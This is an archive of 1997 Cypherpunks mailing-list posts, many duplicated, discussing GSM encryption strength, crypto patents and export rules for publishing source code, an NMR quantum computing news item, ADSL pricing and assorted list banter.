Subject: Re: Newt's phone calls
Message-ID: <01BC0792.3DE1F750@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




Adam Back <aba@dcs.ex.ac.uk> wrote in article <5bp18k$1cc@life.ai.mit.edu>...

> GSM encrypts only the links to the station - the traffic goes in the
> clear through the station.  Plus A5 (crypto algorithm used in GSM) is
> weak, 40 bits of effective key space.
> 
> It could be worse to have poor crypto, than no crypto,

I disagree for two reasons, first there is a big difference between having
poor locks and no locks. Most locks can be picked by an expert, they are
effective against many theifs however.

Second if everyone in the world was using 40 bit email encryption it
would prevent most of the "promiscuous" interception of communications.

The danger in weak crypto is thinking that it is strong crypto. GSM is
weak crypto but stops the type of snooping the Martins engaged in.
If you know not to talk about something secret on one then low
crypto is better than having a signal anyone can pick up on a 
device from radio shack.

		Phill






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Mon, 20 Jan 1997 10:03:16 -0800 (PST)
To: cypherpunks-outgoing-ksiuw@toad.com
Subject: Gilmore and Sandfart (spit) died of AIDS
Message-ID: <199701201745.MAA03130@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


that's why there is no traffic.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 21 Jan 1997 07:11:33 -0800 (PST)
To: orwant@media.mit.edu
Subject: Re: Disseminating public-key crypto source code
Message-ID: <199701211511.HAA07025@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:11 PM 1/20/97 -0500, Jon Orwant wrote:

>	2) PKPesque: Using public-key crypto is an infringement,
>		     although disseminating/possessing the source
>		     code is not.

Disseminating (and even writing) the source code may be an infringement. 35
USC 271 says:

"Infringement of patent

(a) Except as otherwise provided in this title, whoever without authority
makes, uses, or sells any patented invention, within the United States
during the term of the patent therefor, infringes the patent.

(b) Whoever actively induces infringement of a patent shall be liable as an
infringer.

(c) Whoever sells a component of a patented machine, manufacture,
combination or composition, or a material or apparatus for use in
practicing a patented process, constituting a material part of the
invention, knowing the same to be especially made or especially adapted for
use in an infringement of such patent, and not a staple article or
commodity of commerce suitable for substantial noninfringing use, shall be
liable as a contributory infringer. [...]"

Sorry. Software/algorithm patents make it difficult to develop and
distribute free software. If that pisses you off, tell your congresspeople
you don't like software/algorithm patents. Perhaps someday Congress will
develop a sensible scheme for "protecting" creators' rights in their
software. But they haven't yet.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Butler, Scott" <SButler@chemson.com>
Date: Mon, 20 Jan 1997 03:53:37 -0800 (PST)
To: "'John Gilmore'" <IMCEAX400-c=GB+3Ba=+20+3Bp=CHEMSON+3Bo=CSH+3Bdda+3ASMTP=gnu+40toad+2Ecom+3B@chemson.com>
Subject: RE: THIS IS THE FIRST MESSAGE TO THE MODERATED CYPHERPUNKS LIST
Message-ID: <c=GB%a=_%p=CHEMSON%l=CSH_NT0-970120115756Z-358@csa-ntx.chemson.com>
MIME-Version: 1.0
Content-Type: text/plain



John Gilmore wrote:
>
>>Welcome to (what I hope is) a more useful and less confrontative
>>cypherpunks list.  Now, can we get back to talking about cryptography?
> 
>	
"can we get 'BACK' to talking about cryptography?"
You seem to have misspelled START.

>Scott




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Butler, Scott <SButler@chemson.com>
Date: Mon, 20 Jan 1997 08:13:29 -0800 (PST)
To: "'John Gilmore'"    <IMCEAX400-c=GB+3Ba=+20+3Bp=CHEMSON+3Bo=CSH+3Bdda+3ASMTP=gnu+40toad+2Ecom+3B@chemson.com>
Subject: RE: THIS IS THE FIRST MESSAGE TO THE MODERATED CYPHERPUNKS LIST
Message-ID: <199701201613.IAA12456@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



John Gilmore wrote:
>
>>Welcome to (what I hope is) a more useful and less confrontative
>>cypherpunks list.  Now, can we get back to talking about cryptography?
> 
>	
"can we get 'BACK' to talking about cryptography?"
You seem to have misspelled START.

>Scott





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 20 Jan 1997 13:00:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: I beg you, PLEASE prove that 0.123456789101112131415 is IRRATIONAL
Message-ID: <199701202100.NAA17730@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:38 PM 1/19/97 -0600, snow wrote:

>    x=0;
>    x1=0;
>    x++;
>    x--;
>  
>    Would give you all int's, the only problem you have is granularity.

Nice, but you have a typo, the result would be the same as x is both
incremented and decremented before it can be output.
I am assumming that the second block of code has it right.

>    x=0.00000000001;
>    y=0.00000000001;
>    x1=x;
>    x=x+y;
>    x1=x1-y;

Also, I am assumming that the increment, decrement portion of the code
should be in a loop.  Otherwise this will result in exactly one value for x,
and one for x1.

The output of the first block is x=1, x1=0.
The output of the second block is x=0.00000000002, y=0.00000000001,
x1=0.00000000000.

Also, the code does have other errors that don't "ring any bells" as they
allow the mind to figure out what your intent is.  Not unlike the many
complaints in "The Far Side" where everyone complains that it is the female
mosquito that bites people while ignoring that no mosquito has ever
willingly walked into an appropiately scaled house wearing a hat.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 20 Jan 1997 13:42:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: I beg you, PLEASE prove that 0.123456789101112131415 is IRRATIONAL
Message-ID: <199701202142.NAA19097@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:38 PM 1/19/97 -0600, snow wrote:

>    x=0;
>    x1=0;
>    x++;
>    x--;
>  
>    Would give you all int's, the only problem you have is granularity.

Nice, but you have a typo, the result would be the same as x is both
incremented and decremented before it can be output.
I am assumming that the second block of code has it right.

>    x=0.00000000001;
>    y=0.00000000001;
>    x1=x;
>    x=x+y;
>    x1=x1-y;

Also, I am assumming that the increment, decrement portion of the code
should be in a loop.  Otherwise this will result in exactly one value for x,
and one for x1.

The output of the first block is x=1, x1=0.
The output of the second block is x=0.00000000002, y=0.00000000001,
x1=0.00000000000.

Also, the code does have other errors that don't "ring any bells" as they
allow the mind to figure out what your intent is.  Not unlike the many
complaints in "The Far Side" where everyone complains that it is the female
mosquito that bites people while ignoring that no mosquito has ever
willingly walked into an appropiately scaled house wearing a hat.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike McNally <m5@vail.tivoli.com>
Date: Mon, 20 Jan 1997 11:06:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Quantum computers/Java of a different sort
Message-ID: <32E3C19A.C48@vail.tivoli.com>
MIME-Version: 1.0
Content-Type: text/plain

For all you quantum computer fans, see 

	http://sciencenow.sciencemag.org/html/970117c.htm
-- 
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^
Mike McNally -- Egregiously Pointy -- Tivoli Systems, "IBM" -- Austin
mailto:m5@tivoli.com    mailto:m101@io.com    http://www.io.com/~m101
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^


To: java@tivoli.com
Subject: ScienceNOW www.sciencenow.org
From: jchou@tivoli.com
Date: Mon, 20 Jan 1997 12:49:39 -0500







jchou@tivoli.com
01/20/97 12:49 PM





An advance in Java computing...

http://sciencenow.sciencemag.org/html/970117c.htm



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Friday, 17 January 1997, 7:00 p.m.
</FONT></P><P ALIGN="Center"><FONT SIZE="+1"><STRONG>
Quantum Computer in a Cup of Joe?<p>
</STRONG></FONT></P>



<p>
Researchers have come up with a way to turn coffee and other mundane
liquids into primitive quantum computers. The findings, reported in today's
 <i>Science</i> and in an upcoming issue of the <i>Proceedings of the
National Academy of Sciences</i>, suggest a new approach toward conquering
the Mount Everest of computing: a quantum computer that in a few seconds
could perform calculations that would take billions of years on an ordinary
 supercomputer.<p>
<A NAME="image1"><!--null--></A><P><HR>
<IMG ALT="Illustration" BORDER=1 ALIGN=LEFT HSPACE=20 VSPACE=10
SRC="970117-2.gif">
<BR CLEAR=ALL>
<STRONG>Fresh-brewed. </STRONG>A prototype tabletop NMR quantum computer,
showing the circuitry and the radio-frequency coil.<P>
<FONT SIZE=-2>JOSHUA SMITH</FONT><BR>
<HR><P>The key is nuclear magnetic resonance (NMR), a technique for
manipulating and measuring the spins of atomic nuclei that is already a
mainstay of medical imaging and chemical analysis. The up-or-down spin of
nuclei offers the two-bit logic system that a computer needs. What makes a
quantum computer special, however, is quantum parallelism. In the strange
world of quantum mechanics, the spin of a nucleus can be in both states,
representing both bits, at the same time. That property should permit a
quantum computer to perform calculations on incredibly large numbers of
bits at once. And Neil Gershenfeld of the Massachusetts Institute of
Technology and Isaac Chuang of the University of California, Santa Barbara,
 and a second team, Tim Havel and Amr Fahmy of Harvard Medical School and
David Cory of MIT, have found that it's easier to achieve this parallelism
by using NMR in an ordinary liquid than in the exotic systems researchers
have tried so far.<p>
Cory, Fahmy, and Havel have actually built quantum circuits using a
standard NMR spectrometer, while Gershenfeld and Chuang are gearing up
experiments and hope to demonstrate quantum circuits and maybe even a
simple computation by next summer. What can be done now can be done with
easily available and affordable equipment--&quot;off-the-shelf coffee cups,
off-the
-shelf liquids, off-the-shelf magnets, etc.,&quot; says MIT computer
scientist Seth Lloyd.<p> &quot;This NMR scheme is pretty slick stuff, but
in the long run, they're going to have to find a particularly special
molecule or state that allows them to extend it to large numbers,&quot;
says Chris Monroe of the National Institute of Standards and Technology.<p>
Indeed, the researchers note that fundamental obstacles may prevent the
scheme from ever producing a practical computer. But &quot;from the point
of view of verifying the basic ideas and doing interesting physics,&quot;
says Lloyd, a pioneer theorist in quantum computing, &quot;it's
fantastic.&quot; For more details, <i>Science</i> Online subscribers can
link to the <a
href="http://www.sciencemag.org/cgi/content/full/275/5298/307">News
story</a> in today's <i>Science</i>.<p>
<p>



<P ALIGN="CENTER"><A
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike McNally <m5@vail.tivoli.com>
Date: Mon, 20 Jan 1997 13:43:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Quantum computers/Java of a different sort
Message-ID: <199701202143.NAA19177@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


For all you quantum computer fans, see 

	http://sciencenow.sciencemag.org/html/970117c.htm
-- 
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^
Mike McNally -- Egregiously Pointy -- Tivoli Systems, "IBM" -- Austin
mailto:m5@tivoli.com    mailto:m101@io.com    http://www.io.com/~m101
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^

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jchou@tivoli.com
01/20/97 12:49 PM





An advance in Java computing...

http://sciencenow.sciencemag.org/html/970117c.htm



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<P ALIGN="RIGHT"><FONT SIZE="-1">
Friday, 17 January 1997, 7:00 p.m.
</FONT></P><P ALIGN="Center"><FONT SIZE="+1"><STRONG>
Quantum Computer in a Cup of Joe?<p>
</STRONG></FONT></P>



<p>
Researchers have come up with a way to turn coffee and other mundane
liquids into primitive quantum computers. The findings, reported in today's
 <i>Science</i> and in an upcoming issue of the <i>Proceedings of the
National Academy of Sciences</i>, suggest a new approach toward conquering
the Mount Everest of computing: a quantum computer that in a few seconds
could perform calculations that would take billions of years on an ordinary
 supercomputer.<p>
<A NAME="image1"><!--null--></A><P><HR>
<IMG ALT="Illustration" BORDER=1 ALIGN=LEFT HSPACE=20 VSPACE=10
SRC="970117-2.gif">
<BR CLEAR=ALL>
<STRONG>Fresh-brewed. </STRONG>A prototype tabletop NMR quantum computer,
showing the circuitry and the radio-frequency coil.<P>
<FONT SIZE=-2>JOSHUA SMITH</FONT><BR>
<HR><P>The key is nuclear magnetic resonance (NMR), a technique for
manipulating and measuring the spins of atomic nuclei that is already a
mainstay of medical imaging and chemical analysis. The up-or-down spin of
nuclei offers the two-bit logic system that a computer needs. What makes a
quantum computer special, however, is quantum parallelism. In the strange
world of quantum mechanics, the spin of a nucleus can be in both states,
representing both bits, at the same time. That property should permit a
quantum computer to perform calculations on incredibly large numbers of
bits at once. And Neil Gershenfeld of the Massachusetts Institute of
Technology and Isaac Chuang of the University of California, Santa Barbara,
 and a second team, Tim Havel and Amr Fahmy of Harvard Medical School and
David Cory of MIT, have found that it's easier to achieve this parallelism
by using NMR in an ordinary liquid than in the exotic systems researchers
have tried so far.<p>
Cory, Fahmy, and Havel have actually built quantum circuits using a
standard NMR spectrometer, while Gershenfeld and Chuang are gearing up
experiments and hope to demonstrate quantum circuits and maybe even a
simple computation by next summer. What can be done now can be done with
easily available and affordable equipment--&quot;off-the-shelf coffee cups,
off-the
-shelf liquids, off-the-shelf magnets, etc.,&quot; says MIT computer
scientist Seth Lloyd.<p> &quot;This NMR scheme is pretty slick stuff, but
in the long run, they're going to have to find a particularly special
molecule or state that allows them to extend it to large numbers,&quot;
says Chris Monroe of the National Institute of Standards and Technology.<p>
Indeed, the researchers note that fundamental obstacles may prevent the
scheme from ever producing a practical computer. But &quot;from the point
of view of verifying the basic ideas and doing interesting physics,&quot;
says Lloyd, a pioneer theorist in quantum computing, &quot;it's
fantastic.&quot; For more details, <i>Science</i> Online subscribers can
link to the <a
href="http://www.sciencemag.org/cgi/content/full/275/5298/307">News
story</a> in today's <i>Science</i>.<p>
<p>



<P ALIGN="CENTER"><A
HREF="http://www.sciencemag.org/science/home/copyright.shtml"><FONT
SIZE="-1">&copy; 1997 by the American Association for the Advancement of
Science</FONT></A></P>
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--------------32AF54C4607C--




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jon Orwant <orwant@media.mit.edu>
Date: Mon, 20 Jan 1997 11:18:09 -0800 (PST)
To: cryptography@c2.net
Subject: Disseminating public-key crypto source code
Message-ID: <199701201918.LAA15713@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



I've written a few Perl routines for public-key cryptography.  I'd
like to freely disseminate the source code (starting with ElGamal) to
as many people as I can,

It's my understanding that there are two orthogonal restrictions:

	1) ITAResque: I can't give code to non-U.S. citizens.
	2) PKPesque: Using public-key crypto is an infringement,
		     although disseminating/possessing the source
		     code is not.

While I'm sure these are oversimplifications, it would seem that I can
release my source code over the Internet provided I install a simple
verification mechanism (cf. MIT's PGP distribution) to ensure that
only people claiming to be U.S. citizens have access privileges.

Am I correct?  If so, why aren't more people doing this?

Jon Orwant
MIT Media Lab
orwant@media.mit.edu












From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Butler, Scott" <SButler@chemson.com>
Date: Mon, 20 Jan 1997 04:17:07 -0800 (PST)
To: "'cypherpunks'" <IMCEAX400-c=GB+3Ba=+20+3Bp=CHEMSON+3Bo=CSH+3Bdda+3ASMTP=cypherpunks+40toad+2Ecom+3B@chemson.com>
Subject: FW: AUTO ANSWER MESSAGE.
Message-ID: <c=GB%a=_%p=CHEMSON%l=CSH_NT0-970120122115Z-363@csa-ntx.chemson.com>
MIME-Version: 1.0
Content-Type: text/plain


I have set up an autoresponder to bounce back all of this jerks
responses.

Like a game of e-mail tennis !
I'm sure that he will get sick before I do !

Scott


>----------
>From: 	Gerardo_NUNO@bourns.com[SMTP:Gerardo_NUNO@bourns.com]
>Sent: 	17 January 1997 18:38
>To: 	Butler, Scott
>Subject: 	AUTO ANSWER MESSAGE.
>
>  
>
>


ŒŠFrom       : "Gerardo NUNO"@[PRCL/01]


Please check  the name and e-mail address of the person that you're
looking. Since gerardo_nuno is out of the system temporary.

attn. System Administration.



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Butler, Scott <SButler@chemson.com>
Date: Mon, 20 Jan 1997 08:26:24 -0800 (PST)
To: "'cypherpunks'"    <IMCEAX400-c=GB+3Ba=+20+3Bp=CHEMSON+3Bo=CSH+3Bdda+3ASMTP=cypherpunks+40toad+2Ecom+3B@chemson.com>
Subject: FW: AUTO ANSWER MESSAGE.
Message-ID: <199701201626.IAA12832@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



I have set up an autoresponder to bounce back all of this jerks
responses.

Like a game of e-mail tennis !
I'm sure that he will get sick before I do !

Scott


>----------
>From: 	Gerardo_NUNO@bourns.com[SMTP:Gerardo_NUNO@bourns.com]
>Sent: 	17 January 1997 18:38
>To: 	Butler, Scott
>Subject: 	AUTO ANSWER MESSAGE.
>
>  
>
>

------ =_NextPart_000_01BC06CB.51582470
Content-Type: TEXT/PLAIN; NAME="/HPOFFICE/NETMAIL/C1738354.txt"
Content-Transfer-Encoding: QUOTED-PRINTABLE
Content-ID: <Pine.SUN.3.91.970120081000.9885T@crl6.crl.com>

=8C=8D=8AFrom       : "Gerardo NUNO"@[PRCL/01]
------ =_NextPart_000_01BC06CB.51582470
Content-Type: TEXT/PLAIN; NAME="/HPOFFICE/NETMAIL/C1738355.txt"
Content-ID: <Pine.SUN.3.91.970120081000.9885U@crl6.crl.com>


Please check  the name and e-mail address of the person that you're
looking. Since gerardo_nuno is out of the system temporary.

attn. System Administration.

------ =_NextPart_000_01BC06CB.51582470--




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 20 Jan 1997 13:41:16 -0800 (PST)
To: Nurdane Oksas <aba@dcs.ex.ac.uk>
Subject: Re: GSM technology
Message-ID: <3.0.32.19970120132632.006e91cc@192.100.81.126>
MIME-Version: 1.0
Content-Type: text/plain


At 09:43 AM 1/20/97 -0500, Nurdane Oksas wrote:
>	Does anyone use ADSL lines?  or are they still very expensive?

I just had a very interesting talk with somebody from Northern Telecom (Canada's Phone Company). NorTel has apparently skipped ISDN and is now deploying ADSL. Some areas already have access to ADSL at, can you believe this, $60/month.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 20 Jan 1997 13:56:08 -0800 (PST)
To: Nurdane Oksas <aba@dcs.ex.ac.uk>
Subject: Re: GSM technology
Message-ID: <199701202156.NAA19603@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:43 AM 1/20/97 -0500, Nurdane Oksas wrote:
>	Does anyone use ADSL lines?  or are they still very expensive?

I just had a very interesting talk with somebody from Northern Telecom (Canada's Phone Company). NorTel has apparently skipped ISDN and is now deploying ADSL. Some areas already have access to ADSL at, can you believe this, $60/month.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Mon, 20 Jan 1997 13:56:56 -0800 (PST)
To: Andrew Loewenstern <andrew_loewenstern@il.us.swissbank.com>
Subject: Re: Question on Diffie-Hellman patent
In-Reply-To: <9701202135.AA00489@ch1d157nwk>
Message-ID: <Pine.SUN.3.91.970120134455.24006S-100000@crl3.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Mon, 20 Jan 1997, Andrew Loewenstern wrote:

> Tim Dierks writes:
> > Here's a summary of some relevant crypto patents:
> >
> > Name             Number     Filed          Issued          Expires
> >
> > Diffie-Hellman   4,200,770  Sept. 6, 1977  Apr. 29, 1980   Sept. 6, 1997
> > Hellman-Merkle   4,218,582  Oct. 6, 1977   Aug. 19, 1980   Oct. 6, 1997
> > RSA              4,405,829  Dec. 14, 1977  Sept. 20, 1983  Sept. 20, 2000
> 
> So who's planning on throwing a big party on Sept. 6th?  Will Jim Bizos be  
> celebrating?  :-)

I'll call dibs on that.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl8.crl.com>
Date: Mon, 20 Jan 1997 14:25:49 -0800 (PST)
To: Andrew Loewenstern <andrew_loewenstern@il.us.swissbank.com>
Subject: Re: Question on Diffie-Hellman patent
Message-ID: <199701202225.OAA20788@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Mon, 20 Jan 1997, Andrew Loewenstern wrote:

> Tim Dierks writes:
> > Here's a summary of some relevant crypto patents:
> >
> > Name             Number     Filed          Issued          Expires
> >
> > Diffie-Hellman   4,200,770  Sept. 6, 1977  Apr. 29, 1980   Sept. 6, 1997
> > Hellman-Merkle   4,218,582  Oct. 6, 1977   Aug. 19, 1980   Oct. 6, 1997
> > RSA              4,405,829  Dec. 14, 1977  Sept. 20, 1983  Sept. 20, 2000
> 
> So who's planning on throwing a big party on Sept. 6th?  Will Jim Bizos be  
> celebrating?  :-)

I'll call dibs on that.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Mon, 20 Jan 1997 11:01:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: A Prayer For Swiss Banks
Message-ID: <3.0.1.32.19970120135744.017c178c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

This happened a year ago but I couldn't resist posting it in light of the 
current political attacks on the privacy of Swiss banks.

MANILA, Philippines (Feb 24, 1996 9:45 p.m. EST) - Former Philippine first
lady Imelda Marcos presided over a bizarre ceremony on Sunday to mark the 10th
anniversary of the People's Power revolution that forced her and her corrupt husband into ignominious exile.

Marcos -- notorious shopaholic, convicted criminal and now a legally elected
member of the Philippine Congress -- asked God to bless Corazon Aquino and
other leaders of the 1986 revolt.

But she also asked the Almighty to enlighten Swiss bankers holding some of the
estimated $5 billion the Marcoses and their cronies are accused of looting
from the national economy.

"May the Lord enlighten ... the Swiss banks -- that they might uphold justice
and preserve the integrity of their own laws and the laws of confidentiality,
trust and basic decency between the banks and their clients," she said in a
speech.

Two Swiss banks holding some $475 million linked to the Marcoses are currently
embroiled in a row over what to do with the money.

The Philippine government wants it back but a U.S. court has ordered it
distributed to victims of human rights abuses during the late Ferdinand
Marcos's 20 years in power.

*****

DCF


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMuPAIIVO4r4sgSPhAQFhSQQAiLrFwcvR0CxiZDrG1f6RSysX8ypxe2y4
Az2MejxFj4ACZIw9lCN98pxRwM8QwEQnCo+RKpMEchurk1bx0EEK749+kxpccsw2
qi+VW1lhBLV38YyzAm0vRwK1pwsKuW/E0UjMOvfTfQynRljohiLvLxQDMJ4DQLHi
qi+R9K2Gpr0=
=wmjK
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Mon, 20 Jan 1997 13:45:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: A Prayer For Swiss Banks
Message-ID: <199701202145.NAA19229@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

This happened a year ago but I couldn't resist posting it in light of the 
current political attacks on the privacy of Swiss banks.

MANILA, Philippines (Feb 24, 1996 9:45 p.m. EST) - Former Philippine first
lady Imelda Marcos presided over a bizarre ceremony on Sunday to mark the 10th
anniversary of the People's Power revolution that forced her and her corrupt husband into ignominious exile.

Marcos -- notorious shopaholic, convicted criminal and now a legally elected
member of the Philippine Congress -- asked God to bless Corazon Aquino and
other leaders of the 1986 revolt.

But she also asked the Almighty to enlighten Swiss bankers holding some of the
estimated $5 billion the Marcoses and their cronies are accused of looting
from the national economy.

"May the Lord enlighten ... the Swiss banks -- that they might uphold justice
and preserve the integrity of their own laws and the laws of confidentiality,
trust and basic decency between the banks and their clients," she said in a
speech.

Two Swiss banks holding some $475 million linked to the Marcoses are currently
embroiled in a row over what to do with the money.

The Philippine government wants it back but a U.S. court has ordered it
distributed to victims of human rights abuses during the late Ferdinand
Marcos's 20 years in power.

*****

DCF


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMuPAIIVO4r4sgSPhAQFhSQQAiLrFwcvR0CxiZDrG1f6RSysX8ypxe2y4
Az2MejxFj4ACZIw9lCN98pxRwM8QwEQnCo+RKpMEchurk1bx0EEK749+kxpccsw2
qi+VW1lhBLV38YyzAm0vRwK1pwsKuW/E0UjMOvfTfQynRljohiLvLxQDMJ4DQLHi
qi+R9K2Gpr0=
=wmjK
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Paul Johnson <mikej2@exabyte.com>
Date: Tue, 21 Jan 1997 07:11:42 -0800 (PST)
To: Jon Orwant <orwant@media.mit.edu>
Subject: Re: Disseminating public-key crypto source code
Message-ID: <199701211511.HAA07045@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 20 Jan 1997, Jon Orwant wrote:

> I've written a few Perl routines for public-key cryptography.  I'd
> like to freely disseminate the source code (starting with ElGamal) to
> as many people as I can,
> 
> It's my understanding that there are two orthogonal restrictions:
> 
> 	1) ITAResque: I can't give code to non-U.S. citizens.
> 	2) PKPesque: Using public-key crypto is an infringement,
> 		     although disseminating/possessing the source
> 		     code is not.
> 
> While I'm sure these are oversimplifications, it would seem that I can
> release my source code over the Internet provided I install a simple
> verification mechanism (cf. MIT's PGP distribution) to ensure that
> only people claiming to be U.S. citizens have access privileges.
> 
> Am I correct?  If so, why aren't more people doing this?

Point 2 is the easier one -- you can research, create, and distribute
patented algorithms for free. It is just in using or selling them that you
need to get a license from the patent holder (directly or indirectly).

Point 1 is a bit muddier, but the new EAR (which replace the ITAR)
actually defines what you need to do to freely distribute cryptographic
software in North America, essentially describing something like MIT's PGP
distribution system and my system at
http://www.sni.net/~mpj/usa/warning.htm (at least as far as is practical):
____

(ii) The export of encryption source code and object code software
controlled for EI reasons under ECCN 5D002 on the Commerce Control List
(see Supplement No. 1 to part 774 of the EAR) includes downloading, or
causing the downloading of, such software to locations (including
electronic bulletin boards, Internet file transfer protocol, and World
Wide Web sites) outside the U.S., or making such software available for
transfer outside the United States, over wire, cable, radio,
electromagnetic, photooptical, photoelectric or other comparable
communications facilities accessible to persons outside the United States,
including transfers from electronic bulletin boards, Internet file
transfer protocol and World Wide Web sites, unless the person making the
software available takes precautions adequate to prevent unauthorized
transfer of such code outside the United States. Such precautions shall
include:
(A) Ensuring that the facility from which the software is available
controls the access to and transfers of such software through such
measures as:
(1) The access control system, either through automated means or
human intervention, checks the address of every system requesting or
receiving a transfer and verifies that such systems are located within the
United States;
(2) The access control system, provides every requesting or
receiving party with notice that the transfer includes or would include
cryptographic software subject to export controls under the Export
Administration Act, and that anyone receiving such a transfer cannot
export the software without a license; and
(3) Every party requesting or receiving a transfer of such software
must acknowledge affirmatively that he or she understands that the
cryptographic software is subject to export controls under the Export
Administration Act and that anyone receiving the transfer cannot export
the software without a license; or
(B) Taking other precautions, approved in writing by the Bureau of
Export Administration, to prevent transfer of such software outside the
U.S. without a license.
____

Point (1) above is done at my site, to something of an approximation, by
using a .htaccess file. I'm working on improving this, some, due to some
server problems, but I think that it is close enough to meet the "such
measures as" criteria, especially since (2) and (3) are met pretty
literally by the mechanism that routinely breaks links that attempt to
bypass the warning page. Of course, this isn't perfect, and no coderpunk
worth his salt would have difficulty bypassing the system if he or she
were inclined to break the law, but it does allow me to post strong
cryptographic software without worrying about breaking the law.

Why don't more people do this? Probably because the law has usually been
even more muddy than the above, and at least as irrational, and because it
is more of a pain than just posting the stuff, which few people want to
flaunt their disregard for the law so publicly.

There is another, better way, to comply with the above using CGI
scripting, but my ISP is reluctant to let me do so, so far.

By the way, there is no automated way to add files to my crypto site,
but if you are interested in posting quality crypto software, libraries,
and documentation (like maybe some DES challenge code or RC5 cracker
code), please email me at mpj@csn.net.

 Michael Paul Johnson      Opinions herein are not necessarily Exabyte's.
 Work:     mpj@exabyte.com http://www.exabyte.com
 Personal: mpj@csn.net     http://www.csn.net/~mpj       BBS 303-772-1062






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: hjk <hjk@ddorf.rhein-ruhr.de>
Date: Mon, 20 Jan 1997 05:40:05 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Thoughts re moderation, filtering, and name changes
